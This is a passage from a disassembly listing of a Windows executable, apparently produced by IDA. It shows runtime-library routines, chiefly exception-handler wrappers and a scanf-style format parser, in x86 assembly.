ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_416435 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_41AB8F mov ecx, 2 loc_41AB8F: ; CODE XREF: sub_41AB50+38j push ecx call sub_416435 pop ebp pop ecx pop ebx leave retn 0Ch sub_41AB50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AB9C proc near ; CODE XREF: sub_41A3EE:loc_41A590j ; sub_41A738:loc_41A749j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0041DFB6 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421840 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, dword_469518 test eax, eax jz short loc_41ABE4 mov [ebp+var_4], 1 call eax jmp short loc_41ABE0 ; --------------------------------------------------------------------------- loc_41ABD9: ; DATA XREF: .nsp0:00421850o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41ABDD: ; DATA XREF: .nsp0:00421854o mov esp, [ebp+var_18] loc_41ABE0: ; CODE XREF: sub_41AB9C+3Bj and [ebp+var_4], 0 loc_41ABE4: ; CODE XREF: sub_41AB9C+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41ABED: ; DATA XREF: .nsp0:00421848o jmp loc_41DFB6 sub_41AB9C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ABF2 proc near ; CODE XREF: sub_4162EB+23p ; sub_4162EB:loc_416356p ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421858 push offset sub_41CE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_4380D4 test eax, eax jz short loc_41AC3A mov [ebp+var_4], 1 call eax ; sub_41AB9C jmp short loc_41AC36 ; --------------------------------------------------------------------------- loc_41AC2F: ; DATA XREF: .nsp0:00421868o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41AC33: ; DATA XREF: .nsp0:0042186Co mov esp, [ebp+var_18] loc_41AC36: ; CODE XREF: sub_41ABF2+3Bj and [ebp+var_4], 0 loc_41AC3A: ; CODE XREF: sub_41ABF2+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_41AC43: ; DATA XREF: .nsp0:00421860o jmp sub_41AB9C sub_41ABF2 endp ; =============== S U B R O U T I N E ======================================= sub_41AC48 proc near ; CODE XREF: sub_4167D3+7p ; sub_4167D3+26p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call sub_418AFD test eax, eax pop ecx jz short loc_41AC60 mov eax, [esi-4] pop esi sub eax, 9 retn ; --------------------------------------------------------------------------- loc_41AC60: ; CODE XREF: sub_41AC48+Ej push esi push 0 push dword_46AB00 call dword_421188 ; RtlSizeHeap pop esi retn sub_41AC48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AC71 proc near ; CODE XREF: sub_416881+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_469528, 0 push ebx jnz short loc_41AC9C mov eax, [ebp+arg_0] cmp eax, 61h jl loc_41AD3A cmp eax, 7Ah jg loc_41AD3A sub eax, 20h jmp loc_41AD3A ; --------------------------------------------------------------------------- loc_41AC9C: ; CODE XREF: sub_41AC71+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_41ACCF cmp dword_437F7C, 1 jle short loc_41ACBC push 2 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41ACC7 ; --------------------------------------------------------------------------- loc_41ACBC: ; CODE XREF: sub_41AC71+3Dj mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 2 loc_41ACC7: ; CODE XREF: sub_41AC71+49j test eax, eax jnz short loc_41ACCF loc_41ACCB: ; CODE XREF: sub_41AC71+AFj mov eax, ebx jmp short loc_41AD3A ; --------------------------------------------------------------------------- loc_41ACCF: ; CODE XREF: sub_41AC71+34j ; sub_41AC71+58j mov edx, off_437D70 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_41ACF2 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_41ACFB ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: sub_41AC71+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_41ACFB: ; CODE XREF: sub_41AC71+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_469528 call sub_41BD71 add esp, 20h test eax, eax jz short loc_41ACCB cmp eax, 1 jnz short loc_41AD2D movzx eax, [ebp+var_4] jmp short loc_41AD3A ; --------------------------------------------------------------------------- loc_41AD2D: ; CODE XREF: sub_41AC71+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_41AD3A: ; CODE XREF: sub_41AC71+14j ; sub_41AC71+1Dj ... pop ebx leave retn sub_41AC71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AD3D proc near ; CODE XREF: sub_416AA0+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_41B743 mov edi, [ebp+arg_0] jmp short loc_41AD6C ; --------------------------------------------------------------------------- loc_41AD67: ; CODE XREF: sub_41AD3D+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_41AD6C: ; CODE XREF: sub_41AD3D+28j cmp dword_437F7C, 1 jle short loc_41AD84 movzx eax, al push 8 push eax call sub_418556 pop ecx pop ecx jmp short loc_41AD93 ; --------------------------------------------------------------------------- loc_41AD84: ; CODE XREF: sub_41AD3D+36j mov ecx, off_437D70 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_41AD93: ; CODE XREF: sub_41AD3D+45j cmp eax, ebx jz short loc_41ADCD dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_41B7CA pop ecx pop ecx push eax call sub_41B7B3 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E095 add esp, 0Ch loc_41ADBB: ; CODE XREF: sub_41AD3D+8Ej test eax, eax jz short loc_41ADCD movzx eax, byte ptr [esi+1] inc esi push eax call sub_41E095 pop ecx jmp short loc_41ADBB ; --------------------------------------------------------------------------- loc_41ADCD: ; CODE XREF: sub_41AD3D+58j ; sub_41AD3D+80j cmp byte ptr [esi], 25h jnz loc_41B6AF and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_41AE04: ; CODE XREF: sub_41AD3D+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_437F7C, 1 jle short loc_41AE21 movzx eax, bl push 4 push eax call sub_418556 pop ecx pop ecx jmp short loc_41AE30 ; --------------------------------------------------------------------------- loc_41AE21: ; CODE XREF: sub_41AD3D+D3j mov ecx, off_437D70 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_41AE30: ; CODE XREF: sub_41AD3D+E2j test eax, eax jz short loc_41AE46 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE46: ; CODE XREF: sub_41AD3D+F5j cmp ebx, 4Eh jg short loc_41AE89 jz short loc_41AEAB cmp ebx, 2Ah jz short loc_41AE84 cmp ebx, 46h jz short loc_41AEAB cmp ebx, 49h jz short loc_41AE66 cmp ebx, 4Ch jnz short loc_41AE98 inc [ebp+var_D] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE66: ; CODE XREF: sub_41AD3D+11Dj cmp byte ptr [esi+1], 36h jnz short loc_41AE98 cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_41AE98 inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE84: ; CODE XREF: sub_41AD3D+113j inc [ebp+var_E] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE89: ; CODE XREF: sub_41AD3D+10Cj cmp ebx, 68h jz short loc_41AEA5 cmp ebx, 6Ch jz short loc_41AE9D cmp ebx, 77h jz short loc_41AEA0 loc_41AE98: ; CODE XREF: sub_41AD3D+122j ; sub_41AD3D+12Dj ... inc [ebp+var_F] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AE9D: ; CODE XREF: sub_41AD3D+154j inc [ebp+var_D] loc_41AEA0: ; CODE XREF: sub_41AD3D+159j inc [ebp+var_5] jmp short loc_41AEAB ; --------------------------------------------------------------------------- loc_41AEA5: ; CODE XREF: sub_41AD3D+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_41AEAB: ; CODE XREF: sub_41AD3D+107j ; sub_41AD3D+10Ej ... cmp [ebp+var_F], 0 jz loc_41AE04 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_41AED0 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_41AED0: ; CODE XREF: sub_41AD3D+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_41AEEE mov al, [esi] cmp al, 53h jz short loc_41AEEA cmp al, 43h jz short loc_41AEEA or [ebp+var_5], 0FFh jmp short loc_41AEEE ; --------------------------------------------------------------------------- loc_41AEEA: ; CODE XREF: sub_41AD3D+1A1j ; sub_41AD3D+1A5j mov [ebp+var_5], 1 loc_41AEEE: ; CODE XREF: sub_41AD3D+19Bj ; sub_41AD3D+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_41AF27 cmp esi, 63h jz short loc_41AF18 cmp esi, 7Bh jz short loc_41AF18 push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_41B7CA pop ecx jmp short loc_41AF23 ; --------------------------------------------------------------------------- loc_41AF18: ; CODE XREF: sub_41AD3D+1C5j ; sub_41AD3D+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 loc_41AF23: ; CODE XREF: sub_41AD3D+1D9j pop ecx mov [ebp+var_14], eax loc_41AF27: ; CODE XREF: sub_41AD3D+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_41AF37 cmp [ebp+var_C], eax jz loc_41B713 loc_41AF37: ; CODE XREF: sub_41AD3D+1EFj cmp esi, 6Fh jg loc_41B19E jz loc_41B450 cmp esi, 63h jz loc_41B17B cmp esi, 64h jz loc_41B450 jle loc_41B1C8 cmp esi, 67h jle short loc_41AF9B cmp esi, 69h jz short loc_41AF83 cmp esi, 6Eh jnz loc_41B1C8 cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_41B67E jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41AF83: ; CODE XREF: sub_41AD3D+229j push 64h pop esi loc_41AF86: ; CODE XREF: sub_41AD3D+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_41B210 mov [ebp+var_17], 1 jmp loc_41B215 ; --------------------------------------------------------------------------- loc_41AF9B: ; CODE XREF: sub_41AD3D+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_41AFB7 mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_41AFBC ; --------------------------------------------------------------------------- loc_41AFB7: ; CODE XREF: sub_41AD3D+26Aj cmp ebx, 2Bh jnz short loc_41AFD3 loc_41AFBC: ; CODE XREF: sub_41AD3D+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41AFD6 ; --------------------------------------------------------------------------- loc_41AFD3: ; CODE XREF: sub_41AD3D+27Dj mov edi, [ebp+arg_0] loc_41AFD6: ; CODE XREF: sub_41AD3D+294j cmp [ebp+var_20], 0 jz short loc_41AFE5 cmp [ebp+var_C], 15Dh jle short loc_41AFEC loc_41AFE5: ; CODE XREF: sub_41AD3D+29Dj mov [ebp+var_C], 15Dh loc_41AFEC: ; CODE XREF: sub_41AD3D+2A6j ; sub_41AD3D+2F2j cmp dword_437F7C, 1 jle short loc_41B001 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B00C ; --------------------------------------------------------------------------- loc_41B001: ; CODE XREF: sub_41AD3D+2B6j mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 4 loc_41B00C: ; CODE XREF: sub_41AD3D+2C2j test eax, eax jz short loc_41B031 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B031 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41AFEC ; --------------------------------------------------------------------------- loc_41B031: ; CODE XREF: sub_41AD3D+2D1j ; sub_41AD3D+2DBj cmp byte_437F80, bl jnz short loc_41B09F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B09F inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax mov al, byte_437F80 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_41B05A: ; CODE XREF: sub_41AD3D+360j cmp dword_437F7C, 1 jle short loc_41B06F push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B07A ; --------------------------------------------------------------------------- loc_41B06F: ; CODE XREF: sub_41AD3D+324j mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 4 loc_41B07A: ; CODE XREF: sub_41AD3D+330j test eax, eax jz short loc_41B09F mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B09F inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B05A ; --------------------------------------------------------------------------- loc_41B09F: ; CODE XREF: sub_41AD3D+2FAj ; sub_41AD3D+304j ... cmp [ebp+var_1C], 0 jz loc_41B137 cmp ebx, 65h jz short loc_41B0B7 cmp ebx, 45h jnz loc_41B137 loc_41B0B7: ; CODE XREF: sub_41AD3D+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B137 mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_41B0DE mov [esi], al inc esi jmp short loc_41B0E3 ; --------------------------------------------------------------------------- loc_41B0DE: ; CODE XREF: sub_41AD3D+39Aj cmp ebx, 2Bh jnz short loc_41B101 loc_41B0E3: ; CODE XREF: sub_41AD3D+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_41B0F2 and [ebp+var_C], eax jmp short loc_41B101 ; --------------------------------------------------------------------------- loc_41B0F2: ; CODE XREF: sub_41AD3D+3AEj ; sub_41AD3D+3F8j inc [ebp+var_4] push edi call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B101: ; CODE XREF: sub_41AD3D+3A4j ; sub_41AD3D+3B3j cmp dword_437F7C, 1 jle short loc_41B116 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B121 ; --------------------------------------------------------------------------- loc_41B116: ; CODE XREF: sub_41AD3D+3CBj mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 4 loc_41B121: ; CODE XREF: sub_41AD3D+3D7j test eax, eax jz short loc_41B137 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_41B137 inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_41B0F2 ; --------------------------------------------------------------------------- loc_41B137: ; CODE XREF: sub_41AD3D+366j ; sub_41AD3D+374j ... dec [ebp+var_4] push edi push ebx call sub_41B7B3 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_41B743 cmp [ebp+var_E], 0 jnz loc_41B6A4 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_4380B0 add esp, 0Ch jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B17B: ; CODE XREF: sub_41AD3D+20Cj cmp [ebp+var_20], eax jnz short loc_41B18A inc [ebp+var_C] mov [ebp+var_20], 1 loc_41B18A: ; CODE XREF: sub_41AD3D+441j cmp [ebp+var_5], 0 jle short loc_41B194 mov [ebp+var_16], 1 loc_41B194: ; CODE XREF: sub_41AD3D+451j mov edi, offset dword_4380E0 jmp loc_41B2A9 ; --------------------------------------------------------------------------- loc_41B19E: ; CODE XREF: sub_41AD3D+1FDj mov eax, esi sub eax, 70h jz loc_41B44C sub eax, 3 jz loc_41B29A dec eax dec eax jz loc_41B450 sub eax, 3 jz loc_41AF86 sub eax, 3 jz short loc_41B1EC loc_41B1C8: ; CODE XREF: sub_41AD3D+21Bj ; sub_41AD3D+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_41B713 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_41B6A4 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B1EC: ; CODE XREF: sub_41AD3D+489j cmp [ebp+var_5], 0 jle short loc_41B1F6 mov [ebp+var_16], 1 loc_41B1F6: ; CODE XREF: sub_41AD3D+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_41B2AD mov eax, edi lea edi, [eax+1] jmp loc_41B2A9 ; --------------------------------------------------------------------------- loc_41B210: ; CODE XREF: sub_41AD3D+24Fj cmp ebx, 2Bh jnz short loc_41B237 loc_41B215: ; CODE XREF: sub_41AD3D+259j dec [ebp+var_C] jnz short loc_41B226 cmp [ebp+var_20], 0 jz short loc_41B226 mov [ebp+var_F], 1 jmp short loc_41B237 ; --------------------------------------------------------------------------- loc_41B226: ; CODE XREF: sub_41AD3D+4DBj ; sub_41AD3D+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_41B237: ; CODE XREF: sub_41AD3D+4D6j ; sub_41AD3D+4E7j cmp ebx, 30h jnz loc_41B485 push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_41B285 cmp bl, 58h jz short loc_41B285 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_41B26F push 6Fh loc_41B269: ; CODE XREF: sub_41AD3D+55Bj pop esi jmp loc_41B485 ; --------------------------------------------------------------------------- loc_41B26F: ; CODE XREF: sub_41AD3D+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B7B3 pop ecx pop ecx push 30h pop ebx jmp loc_41B482 ; --------------------------------------------------------------------------- loc_41B285: ; CODE XREF: sub_41AD3D+517j ; sub_41AD3D+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_41B269 ; --------------------------------------------------------------------------- loc_41B29A: ; CODE XREF: sub_41AD3D+46Fj cmp [ebp+var_5], 0 jle short loc_41B2A4 mov [ebp+var_16], 1 loc_41B2A4: ; CODE XREF: sub_41AD3D+561j mov edi, offset dword_4380D8 loc_41B2A9: ; CODE XREF: sub_41AD3D+45Cj ; sub_41AD3D+4CEj or [ebp+var_18], 0FFh loc_41B2AD: ; CODE XREF: sub_41AD3D+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_415570 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_41B2D1 cmp byte ptr [edi], 5Dh jnz short loc_41B2D1 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_41B2D4 ; --------------------------------------------------------------------------- loc_41B2D1: ; CODE XREF: sub_41AD3D+584j ; sub_41AD3D+589j mov dl, [ebp+var_35] loc_41B2D4: ; CODE XREF: sub_41AD3D+592j ; sub_41AD3D+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_41B339 inc edi cmp al, 2Dh jnz short loc_41B320 test dl, dl jz short loc_41B320 mov cl, [edi] cmp cl, 5Dh jz short loc_41B320 inc edi cmp dl, cl jnb short loc_41B2F3 mov al, cl jmp short loc_41B2F7 ; --------------------------------------------------------------------------- loc_41B2F3: ; CODE XREF: sub_41AD3D+5B0j mov al, dl mov dl, cl loc_41B2F7: ; CODE XREF: sub_41AD3D+5B4j cmp dl, al ja short loc_41B31C movzx edx, dl movzx esi, al sub esi, edx inc esi loc_41B304: ; CODE XREF: sub_41AD3D+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_41B304 loc_41B31C: ; CODE XREF: sub_41AD3D+5BCj xor dl, dl jmp short loc_41B2D4 ; --------------------------------------------------------------------------- loc_41B320: ; CODE XREF: sub_41AD3D+5A0j ; sub_41AD3D+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_41B2D4 ; --------------------------------------------------------------------------- loc_41B339: ; CODE XREF: sub_41AD3D+59Bj cmp byte ptr [edi], 0 jz loc_41B743 cmp [ebp+var_3C], 7Bh jnz short loc_41B34B mov [ebp+arg_4], edi loc_41B34B: ; CODE XREF: sub_41AD3D+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_41B7B3 pop ecx pop ecx loc_41B362: ; CODE XREF: sub_41AD3D+6BCj ; sub_41AD3D+6C4j cmp [ebp+var_20], 0 jz short loc_41B376 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_41B412 loc_41B376: ; CODE XREF: sub_41AD3D+629j inc [ebp+var_4] push edi call sub_41B799 cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_41B406 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_41B406 cmp [ebp+var_E], 0 jnz short loc_41B3FE cmp [ebp+var_16], 0 jz short loc_41B3F3 mov ecx, off_437D70 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_41B3D2 inc [ebp+var_4] push edi call sub_41B799 pop ecx mov [ebp+var_37], al loc_41B3D2: ; CODE XREF: sub_41AD3D+686j push dword_437F7C lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_41DFCD mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_41B3F6 ; --------------------------------------------------------------------------- loc_41B3F3: ; CODE XREF: sub_41AD3D+673j mov [esi], al inc esi loc_41B3F6: ; CODE XREF: sub_41AD3D+6B4j mov [ebp+var_2C], esi jmp loc_41B362 ; --------------------------------------------------------------------------- loc_41B3FE: ; CODE XREF: sub_41AD3D+66Dj inc [ebp+var_30] jmp loc_41B362 ; --------------------------------------------------------------------------- loc_41B406: ; CODE XREF: sub_41AD3D+649j ; sub_41AD3D+667j dec [ebp+var_4] push edi push eax call sub_41B7B3 pop ecx pop ecx loc_41B412: ; CODE XREF: sub_41AD3D+633j cmp [ebp+var_30], esi jz loc_41B743 cmp [ebp+var_E], 0 jnz loc_41B6A4 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_41B6A4 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_41B444 and word ptr [eax], 0 jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B444: ; CODE XREF: sub_41AD3D+6FCj and byte ptr [eax], 0 jmp loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B44C: ; CODE XREF: sub_41AD3D+466j mov [ebp+var_D], 1 loc_41B450: ; CODE XREF: sub_41AD3D+203j ; sub_41AD3D+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_41B45E mov [ebp+var_17], 1 jmp short loc_41B463 ; --------------------------------------------------------------------------- loc_41B45E: ; CODE XREF: sub_41AD3D+719j cmp ebx, 2Bh jnz short loc_41B485 loc_41B463: ; CODE XREF: sub_41AD3D+71Fj dec [ebp+var_C] jnz short loc_41B474 cmp [ebp+var_20], 0 jz short loc_41B474 mov [ebp+var_F], 1 jmp short loc_41B485 ; --------------------------------------------------------------------------- loc_41B474: ; CODE XREF: sub_41AD3D+729j ; sub_41AD3D+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 pop ecx mov ebx, eax loc_41B482: ; CODE XREF: sub_41AD3D+543j mov [ebp+var_14], ebx loc_41B485: ; CODE XREF: sub_41AD3D+4FDj ; sub_41AD3D+52Dj ... cmp [ebp+var_30], 0 jz loc_41B59E cmp [ebp+var_F], 0 jnz loc_41B57C loc_41B499: ; CODE XREF: sub_41AD3D+82Cj cmp esi, 78h jnz short loc_41B4ED cmp dword_437F7C, 1 jle short loc_41B4B6 push 80h push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B4C3 ; --------------------------------------------------------------------------- loc_41B4B6: ; CODE XREF: sub_41AD3D+768j mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 80h loc_41B4C3: ; CODE XREF: sub_41AD3D+777j test eax, eax jz loc_41B56E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_41E0C0 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_41B762 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_41B540 ; --------------------------------------------------------------------------- loc_41B4ED: ; CODE XREF: sub_41AD3D+75Fj cmp dword_437F7C, 1 jle short loc_41B502 push 4 push ebx call sub_418556 pop ecx pop ecx jmp short loc_41B50D ; --------------------------------------------------------------------------- loc_41B502: ; CODE XREF: sub_41AD3D+7B7j mov eax, off_437D70 mov al, [eax+ebx*2] and eax, 4 loc_41B50D: ; CODE XREF: sub_41AD3D+7C3j test eax, eax jz short loc_41B56E cmp esi, 6Fh jnz short loc_41B52B cmp ebx, 38h jge short loc_41B56E mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_41E0C0 jmp short loc_41B53A ; --------------------------------------------------------------------------- loc_41B52B: ; CODE XREF: sub_41AD3D+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_4159A0 loc_41B53A: ; CODE XREF: sub_41AD3D+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_41B540: ; CODE XREF: sub_41AD3D+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_41B558 dec [ebp+var_C] jz short loc_41B57C loc_41B558: ; CODE XREF: sub_41AD3D+814j push [ebp+arg_0] inc [ebp+var_4] call sub_41B799 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_41B499 ; --------------------------------------------------------------------------- loc_41B56E: ; CODE XREF: sub_41AD3D+788j ; sub_41AD3D+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_41B7B3 pop ecx pop ecx loc_41B57C: ; CODE XREF: sub_41AD3D+756j ; sub_41AD3D+819j cmp [ebp+var_17], 0 jz loc_41B662 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_41B662 ; --------------------------------------------------------------------------- loc_41B59E: ; 